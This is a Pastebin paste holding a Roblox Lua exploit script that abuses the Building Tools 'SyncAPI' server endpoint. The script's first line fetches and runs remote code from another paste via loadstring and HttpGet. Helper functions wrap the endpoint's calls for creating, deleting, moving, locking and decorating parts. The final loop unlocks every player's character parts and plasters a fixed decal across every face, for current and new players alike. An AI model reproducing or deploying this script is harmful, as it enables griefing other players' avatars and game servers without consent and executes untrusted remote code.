Kotyara19k-Official

[FIXED] Added these textures thingy, soon 3d version, lazy to do originally :P [666ify]

Apr 11th, 2025
16
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.90 KB | None | 0 0
  1. loadstring(game:HttpGet("https://pastebin.com/raw/dLCHQh5g"))()
  2. local Players = game:GetService("Players")
  3.  
  4. local player = Players.LocalPlayer
  5. local char = player.Character or player.CharacterAdded:Wait()
  6. local tool
  7.  
  8. for i,v in player:GetDescendants() do
  9. if v.Name == "SyncAPI" then
  10. tool = v.Parent
  11. end
  12. end
  13. for i,v in game.ReplicatedStorage:GetDescendants() do
  14. if v.Name == "SyncAPI" then
  15. tool = v.Parent
  16. end
  17. end
  18.  
  19. remote = tool.SyncAPI.ServerEndpoint
  20. function _(args)
  21. remote:InvokeServer(unpack(args))
  22. end
  23.  
  24. function SetCollision(part,boolean)
  25. local args = {
  26. [1] = "SyncCollision",
  27. [2] = {
  28. [1] = {
  29. ["Part"] = part,
  30. ["CanCollide"] = boolean
  31. }
  32. }
  33. }
  34. _(args)
  35. end
  36.  
  37. function SetAnchor(boolean,part)
  38. local args = {
  39. [1] = "SyncAnchor",
  40. [2] = {
  41. [1] = {
  42. ["Part"] = part,
  43. ["Anchored"] = boolean
  44. }
  45. }
  46. }
  47. _(args)
  48. end
  49.  
  50. function CreatePart(cf,parent)
  51. local args = {
  52. [1] = "CreatePart",
  53. [2] = "Normal",
  54. [3] = cf,
  55. [4] = parent
  56. }
  57. _(args)
  58. end
  59.  
  60. function DestroyPart(part)
  61. local args = {
  62. [1] = "Remove",
  63. [2] = {
  64. [1] = part
  65. }
  66. }
  67. _(args)
  68. end
  69.  
  70. function MovePart(part,cf)
  71. local args = {
  72. [1] = "SyncMove",
  73. [2] = {
  74. [1] = {
  75. ["Part"] = part,
  76. ["CFrame"] = cf
  77. }
  78. }
  79. }
  80. _(args)
  81. end
  82.  
  83. function Resize(part,size,cf)
  84. local args = {
  85. [1] = "SyncResize",
  86. [2] = {
  87. [1] = {
  88. ["Part"] = part,
  89. ["CFrame"] = cf,
  90. ["Size"] = size
  91. }
  92. }
  93. }
  94. _(args)
  95. end
  96.  
  97. function AddMesh(part)
  98. local args = {
  99. [1] = "CreateMeshes",
  100. [2] = {
  101. [1] = {
  102. ["Part"] = part
  103. }
  104. }
  105. }
  106. _(args)
  107. end
  108.  
  109. function SetMesh(part,meshid)
  110. local args = {
  111. [1] = "SyncMesh",
  112. [2] = {
  113. [1] = {
  114. ["Part"] = part,
  115. ["MeshId"] = "rbxassetid://"..meshid
  116. }
  117. }
  118. }
  119. _(args)
  120. end
  121.  
  122. function SetTexture(part, texid)
  123. local args = {
  124. [1] = "SyncMesh",
  125. [2] = {
  126. [1] = {
  127. ["Part"] = part,
  128. ["TextureId"] = "rbxassetid://"..texid
  129. }
  130. }
  131. }
  132. _(args)
  133. end
  134.  
  135. function SetName(part, stringg)
  136. local args = {
  137. [1] = "SetName",
  138. [2] = {
  139. [1] = part
  140. },
  141. [3] = stringg
  142. }
  143. _(args)
  144. end
  145.  
  146. function MeshResize(part,size)
  147. local args = {
  148. [1] = "SyncMesh",
  149. [2] = {
  150. [1] = {
  151. ["Part"] = part,
  152. ["Scale"] = size
  153. }
  154. }
  155. }
  156. _(args)
  157. end
  158.  
  159. function Weld(part1, part2,lead)
  160. local args = {
  161. [1] = "CreateWelds",
  162. [2] = {
  163. [1] = part1,
  164. [2] = part2
  165. },
  166. [3] = lead
  167. }
  168. _(args)
  169. end
  170.  
  171. function SetLocked(part,boolean)
  172. local args = {
  173. [1] = "SetLocked",
  174. [2] = {
  175. [1] = part
  176. },
  177. [3] = boolean
  178. }
  179. _(args)
  180. end
  181.  
  182. function SetTrans(part,int)
  183. local args = {
  184. [1] = "SyncMaterial",
  185. [2] = {
  186. [1] = {
  187. ["Part"] = part,
  188. ["Transparency"] = int
  189. }
  190. }
  191. }
  192. _(args)
  193. end
  194.  
  195. function CreateSpotlight(part)
  196. local args = {
  197. [1] = "CreateLights",
  198. [2] = {
  199. [1] = {
  200. ["Part"] = part,
  201. ["LightType"] = "SpotLight"
  202. }
  203. }
  204. }
  205. _(args)
  206. end
  207.  
  208. function SyncLighting(part,brightness)
  209. local args = {
  210. [1] = "SyncLighting",
  211. [2] = {
  212. [1] = {
  213. ["Part"] = part,
  214. ["LightType"] = "SpotLight",
  215. ["Brightness"] = brightness
  216. }
  217. }
  218. }
  219. _(args)
  220. end
  221.  
  222. function Color(part,color)
  223. local args = {
  224. [1] = "SyncColor",
  225. [2] = {
  226. [1] = {
  227. ["Part"] = part,
  228. ["Color"] = color,
  229. ["UnionColoring"] = false
  230. }
  231. }
  232. }
  233. _(args)
  234. end
  235.  
  236. function SpawnDecal(part,side)
  237. local args = {
  238. [1] = "CreateTextures",
  239. [2] = {
  240. [1] = {
  241. ["Part"] = part,
  242. ["Face"] = side,
  243. ["TextureType"] = "Decal"
  244. }
  245. }
  246. }
  247. _(args)
  248. end
  249.  
  250. function AddDecal(part,asset,side)
  251. local args = {
  252. [1] = "SyncTexture",
  253. [2] = {
  254. [1] = {
  255. ["Part"] = part,
  256. ["Face"] = side,
  257. ["TextureType"] = "Decal",
  258. ["Texture"] = "rbxassetid://".. asset
  259. }
  260. }
  261. }
  262. _(args)
  263. end
  264.  
  265. function spamOnCharacter(char, id)
  266. for _, v in char:GetDescendants() do
  267. if v:IsA("BasePart") then
  268. wait(0.8)
  269. SetLocked(v, false)
  270.  
  271. local faces = {"Front", "Back", "Right", "Left", "Bottom", "Top"}
  272. for _, face in ipairs(faces) do
  273. local enumFace = Enum.NormalId[face]
  274. SpawnDecal(v, enumFace)
  275. AddDecal(v, id, enumFace)
  276. end
  277. end
  278. end
  279. end
  280.  
  281.  
  282. for _, plr in ipairs(Players:GetPlayers()) do
  283. if plr.Character then
  284. spamOnCharacter(plr.Character, "106223299852838")
  285. end
  286. plr.CharacterAdded:Connect(function(char)
  287. spamOnCharacter(char, "106223299852838")
  288. end)
  289. end
  290.  
  291. Players.PlayerAdded:Connect(function(plr)
  292. plr.CharacterAdded:Connect(function(char)
  293. spamOnCharacter(char, "106223299852838")
  294. end)
  295. end)
  296.  
Advertisement
Add Comment
Please, Sign In to add comment